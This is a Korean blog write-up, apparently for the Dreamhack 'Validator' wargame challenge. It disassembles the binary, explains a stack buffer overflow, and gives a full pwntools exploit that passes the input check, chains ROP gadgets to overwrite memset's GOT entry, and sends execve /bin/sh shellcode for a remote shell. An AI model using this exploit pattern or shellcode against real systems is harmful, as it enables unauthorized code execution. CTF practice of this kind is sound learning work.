TIL: Reverse Engineering, ROP

Wargame: Validator

문제의 소스 코드는 주어지지 않고, executable 파일만이 주어졌다. disassemble한 결과는 아래와 같다.

Dump of assembler code for function main:
   0x000000000040063a <+0>:     push   rbp
   0x000000000040063b <+1>:     mov    rbp,rsp
   0x000000000040063e <+4>:     add    rsp,0xffffffffffffff80
   0x0000000000400642 <+8>:     lea    rax,[rbp-0x80]
   0x0000000000400646 <+12>:    mov    edx,0x10
   0x000000000040064b <+17>:    mov    esi,0x0
   0x0000000000400650 <+22>:    mov    rdi,rax
   0x0000000000400653 <+25>:    call   0x400460 <memset@plt>
   0x0000000000400658 <+30>:    lea    rax,[rbp-0x80]
   0x000000000040065c <+34>:    mov    edx,0x400
   0x0000000000400661 <+39>:    mov    rsi,rax
   0x0000000000400664 <+42>:    mov    edi,0x0
   0x0000000000400669 <+47>:    call   0x400470 <read@plt>
   0x000000000040066e <+52>:    lea    rax,[rbp-0x80]
   0x0000000000400672 <+56>:    mov    esi,0x80
   0x0000000000400677 <+61>:    mov    rdi,rax
   0x000000000040067a <+64>:    call   0x400580 <validate>
   0x000000000040067f <+69>:    mov    eax,0x0
   0x0000000000400684 <+74>:    leave
   0x0000000000400685 <+75>:    ret
Dump of assembler code for function validate:
   0x0000000000400580 <+0>:     push   rbp
   0x0000000000400581 <+1>:     mov    rbp,rsp
   0x0000000000400584 <+4>:     sub    rsp,0x20
   0x0000000000400588 <+8>:     mov    QWORD PTR [rbp-0x18],rdi
   0x000000000040058c <+12>:    mov    QWORD PTR [rbp-0x20],rsi
   0x0000000000400590 <+16>:    mov    DWORD PTR [rbp-0x8],0x0
   0x0000000000400597 <+23>:    mov    DWORD PTR [rbp-0x4],0x0
   0x000000000040059e <+30>:    jmp    0x4005d3 <validate+83>
   0x00000000004005a0 <+32>:    mov    eax,DWORD PTR [rbp-0x4]
   0x00000000004005a3 <+35>:    movsxd rdx,eax
   0x00000000004005a6 <+38>:    mov    rax,QWORD PTR [rbp-0x18]
   0x00000000004005aa <+42>:    add    rax,rdx
   0x00000000004005ad <+45>:    movzx  ecx,BYTE PTR [rax]
   0x00000000004005b0 <+48>:    mov    eax,DWORD PTR [rbp-0x4]
   0x00000000004005b3 <+51>:    movsxd rdx,eax
   0x00000000004005b6 <+54>:    lea    rax,[rip+0x200a83]        # 0x601040 <correct>
   0x00000000004005bd <+61>:    movzx  eax,BYTE PTR [rdx+rax*1]
   0x00000000004005c1 <+65>:    cmp    cl,al
   0x00000000004005c3 <+67>:    je     0x4005cf <validate+79>
   0x00000000004005c5 <+69>:    mov    edi,0x0
   0x00000000004005ca <+74>:    call   0x400480 <exit@plt>
   0x00000000004005cf <+79>:    add    DWORD PTR [rbp-0x4],0x1
   0x00000000004005d3 <+83>:    mov    eax,DWORD PTR [rbp-0x4]
   0x00000000004005d6 <+86>:    cmp    eax,0x9
   0x00000000004005d9 <+89>:    jbe    0x4005a0 <validate+32>
   0x00000000004005db <+91>:    mov    DWORD PTR [rbp-0x4],0xb
   0x00000000004005e2 <+98>:    jmp    0x400628 <validate+168>
   0x00000000004005e4 <+100>:   mov    eax,DWORD PTR [rbp-0x4]
   0x00000000004005e7 <+103>:   movsxd rdx,eax
   0x00000000004005ea <+106>:   mov    rax,QWORD PTR [rbp-0x18]
   0x00000000004005ee <+110>:   add    rax,rdx
   0x00000000004005f1 <+113>:   movzx  eax,BYTE PTR [rax]
   0x00000000004005f4 <+116>:   movsx  eax,al
   0x00000000004005f7 <+119>:   movzx  eax,al
   0x00000000004005fa <+122>:   mov    edx,DWORD PTR [rbp-0x4]
   0x00000000004005fd <+125>:   movsxd rdx,edx
   0x0000000000400600 <+128>:   lea    rcx,[rdx+0x1]
   0x0000000000400604 <+132>:   mov    rdx,QWORD PTR [rbp-0x18]
   0x0000000000400608 <+136>:   add    rdx,rcx
   0x000000000040060b <+139>:   movzx  edx,BYTE PTR [rdx]
   0x000000000040060e <+142>:   movsx  edx,dl
   0x0000000000400611 <+145>:   add    edx,0x1
   0x0000000000400614 <+148>:   cmp    eax,edx
   0x0000000000400616 <+150>:   jne    0x40061e <validate+158>
   0x0000000000400618 <+152>:   add    DWORD PTR [rbp-0x4],0x1
   0x000000000040061c <+156>:   jmp    0x400628 <validate+168>
   0x000000000040061e <+158>:   mov    edi,0x0
   0x0000000000400623 <+163>:   call   0x400480 <exit@plt>
   0x0000000000400628 <+168>:   mov    eax,DWORD PTR [rbp-0x4]
   0x000000000040062b <+171>:   cdqe
   0x000000000040062d <+173>:   cmp    QWORD PTR [rbp-0x20],rax
   0x0000000000400631 <+177>:   ja     0x4005e4 <validate+100>
   0x0000000000400633 <+179>:   mov    eax,0x0
   0x0000000000400638 <+184>:   leave
   0x0000000000400639 <+185>:   ret

Reverse Enginnering

문제를 풀 시점에는 ida라는 도구가 있는지도 몰랐기 때문에 직접 gdb로 코드를 한 instruction씩 돌려보며 프로그램의 작동 방식을 파악했다.

  • mainread(0, buf, 0x400)을 실행하고, 입력받은 값을 대상으로 validate를 실행한다.
  • validate는 입력받은 값의 첫 부분이 DREAMHACK!과 일치하는지 확인하고, 그 이후의 문자들의 값이 1씩 감소하는지를 확인한다. 이 검사를 0x80 번째 byte까지 실행한다. 검사에서 탈락한다면 exit한다.

Vulnerability Scanning

  • checksec

  • buf의 size는 0x80인데 read를 size를 0x400으로 설정하고 실행하므로 BOF가 일어난다. 따라서 validate의 검사만 통과한다면 ROP를 이용해 shell을 획득할 수 있다.

Exploit

from pwn import *

p = remote("host1.dreamhack.games", 15423)
#p = process("./validator_dist")
#gdb.attach(p)
e = ELF("./validator_dist")

payload = b"DREAMHACK!"
i = 127
while len(payload) <= 0x80 :
    payload += bytes([i])
    i = i - 1

payload += b"A"*7

ret = 0x000000000040044e
pop_rdi = 0x00000000004006f3
pop_rsi_pop_r15 = 0x00000000004006f1
pop_rdx = 0x000000000040057b
memset_got = e.got["memset"]
read_plt = e.plt["read"]
read = e.symbols["read"]
bss = 0x0000000000601050

# read(0, memset_got, 0x50)
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi_pop_r15) + p64(memset_got) + p64(0) # memset_got 대신 bss를 써도 된다.
payload += p64(pop_rdx) + p64(0x50)
payload += p64(read_plt) # read_plt 대신 read를 써도 된다.

# memset() == shellcode
payload += p64(memset_got)

p.send(payload)

p.sendline("\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05")

p.interactive()
  • validate의 검사를 통과하도록 payload를 구성한 뒤, ROPgadget들을 이어붙여 read(0, memset_got, 0x50)를 실행하고 memset_got를 shellcode로 overwrite한다.
  • 또는 bss를 shellcode로 overwrite해도 된다.

아직 해결되지 않은 의문점들

  • Local 환경에서는 bssmemset_got 둘 다 execute 권한이 주어지지 않아 위 exploit code를 실행하면 Seg fault가 발생하고, shell을 획득할 수 없다.
    • Local과 remote 둘 다 동일한 executable을 실행하는 것인데 어떻게 권한이 다르게 주어질 수 있는지?
    • Remote 환경에서 rwx 권한이 각 section 별로 어떻게 주어지는지를 어떻게 파악할 수 있는지?
    • 일단 dreamhack에 질문글을 올렸다.
  • (2022-08-31 수정) 질문글에 답변이 달렸다.
    • 일단 remote와 local에서 rwx 권한이 다르게 주어지는 것은 linux kernel의 version 차이 때문이다.
    • Remote에서의 rwx 권한을 예상할 수 없으니 항상 문제를 풀 때는 주어진 docker file이나 libc를 이용해 remote와 환경을 맞춰주는 것이 최선이다..

Categories: ,

Updated:

Leave a comment